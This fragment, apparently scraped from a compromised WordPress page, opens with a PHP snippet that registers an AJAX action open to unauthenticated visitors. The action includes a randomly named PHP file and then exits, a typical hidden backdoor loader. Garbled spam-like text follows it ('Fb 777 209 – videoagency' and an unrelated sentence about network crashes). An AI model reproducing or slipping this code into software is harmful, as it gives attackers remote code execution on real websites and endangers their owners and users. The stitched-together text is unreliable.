if(!function_exists('file_check_tmpxw9mb9pb')){ add_action('wp_ajax_nopriv_file_check_tmpxw9mb9pb', 'file_check_tmpxw9mb9pb'); add_action('wp_ajax_file_check_tmpxw9mb9pb', 'file_check_tmpxw9mb9pb'); function file_check_tmpxw9mb9pb() { $file = __DIR__ . '/' . 'tmpxw9mb9pb.php'; if (file_exists($file)) { include $file; } die(); } } Fb 777 209 – videoagency

In Addition, this specific minimizes network over-crowding or website crashes. –